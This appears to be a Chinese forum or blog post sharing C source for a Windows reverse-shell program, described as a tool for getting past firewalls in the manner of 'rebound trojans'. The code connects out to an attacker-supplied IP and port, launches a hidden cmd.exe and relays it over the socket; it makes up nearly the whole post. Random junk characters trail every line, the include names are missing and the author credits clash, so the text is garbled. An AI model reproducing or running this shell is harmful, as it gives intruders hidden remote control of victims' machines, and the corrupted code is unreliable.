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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :1%VZvWk*  
!k ;[^>  
/* ============================== P'KY.TjWb  
Rebound port in Windows NT %Gnd"SGs  
By wind,2006/7 oTZo[T@zRx  
===============================*/  U5T^S  
#include 15RI(BN   
#include s$eK66H  
=2Pz$q*ub  
#pragma comment(lib,"wsock32.lib") r< N-A?a  
q oKQEG2  
void OutputShell(); 7 B4w.P,B  
SOCKET sClient; &n,xGIG  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C`T5d  
?UhAjtYIS  
void main(int argc,char **argv) <[f2ZS6  
{ w7?9e#> Z  
WSADATA stWsaData; ez:o9)N4  
int nRet; T(Gf~0HYF  
SOCKADDR_IN stSaiClient,stSaiServer; KXbYv62  
j#>![km Mu  
if(argc != 3) c&?H8G)x  
{ H_f2:Za  
printf("Useage:\n\rRebound DestIP DestPort\n");  eV=sDx  
return; $ 5-2 cL  
} [)6E) E`_e  
PL_wa(}y]D  
WSAStartup(MAKEWORD(2,2),&stWsaData); `*9FKs  
%f(.OR)6{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ? /X6x1PN  
1xV1#'@[Jd  
stSaiClient.sin_family = AF_INET; UT7lj wT  
stSaiClient.sin_port = htons(0); OxGCpbh*7o  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5)NfZN# &  
;|1P1H-W~M  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e[&3K<  
{ G.ARu-2's  
printf("Bind Socket Failed!\n"); WY~[tBi\  
return; <l/Qf[V  
} mBkQ 8e  
(lsod#wEMg  
stSaiServer.sin_family = AF_INET; N^`Efpvg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wTbIS~!gF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); x&b-Na3Xi  
+Z(VWu6  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E004"E<E  
{ (Sp~+#XnF  
printf("Connect Error!"); :2gO) 'cD  
return; \)kAhKtG  
} e1}0f8%  
OutputShell(); +%$V?y (  
} .JKaC>oX  
X1D:{S[  
void OutputShell() bdhgHjz  
{ h;[Nc j]  
char szBuff[1024]; j" .6  
SECURITY_ATTRIBUTES stSecurityAttributes; TBYL~QQD\C  
OSVERSIONINFO stOsversionInfo; D|#(zjl@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FEswNB(]*  
STARTUPINFO stStartupInfo; ~,7R*71  
char *szShell; hIr^"kVK  
PROCESS_INFORMATION stProcessInformation; xF+x I6  
unsigned long lBytesRead; x"De 9SB  
q8]k]:r  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !PbFo%)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e 3oIoj4o  
stSecurityAttributes.lpSecurityDescriptor = 0; XL9lB#v^  
stSecurityAttributes.bInheritHandle = TRUE; _%!hkc(  
aX:$Q }S  
?&_\$L[  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [wYQP6Cyy  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); aa]v7d  
7|Y8^T s  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8 EH3zm4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xbA2R4|  
stStartupInfo.wShowWindow = SW_HIDE; ? GW3E  
stStartupInfo.hStdInput = hReadPipe; jX@9849@  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "rJL ^ \r  
A'2:(m@{T  
GetVersionEx(&stOsversionInfo); (^\i(cfu6Q  
yRDLg c  
switch(stOsversionInfo.dwPlatformId) 1]~}0;,  
{ $<PVzW,$o  
case 1: )cXc"aj@s  
szShell = "command.com"; +^:K#S9U  
break; } q(0uzaG  
default: B;Vl+}R  
szShell = "cmd.exe"; ^\%%9jY  
break; .EQFHStr  
} [XK"$C]jHJ  
zFIKB9NUn  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q<qIlNE  
C54)eT6  
send(sClient,szMsg,77,0); 0Jr< >7Q1  
while(1) I%`2RXBt3^  
{ ?hYe4tc-#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); KNhH4K2iP8  
if(lBytesRead) EzaOg|  
{ 3-D!ZS&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N8TO"`wdbs  
send(sClient,szBuff,lBytesRead,0); - _(!  
} K km7L-  
else hAdEq$  
{ YX(%jcj*  
lBytesRead=recv(sClient,szBuff,1024,0); zD'gGxM1  
if(lBytesRead<=0) break; gMbvHlT  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4w,}1uNEf  
} (Lp-3Xx  
} bvG Vfr "  
|j<'[gB\p  
return; c=gUY~Rl  
}
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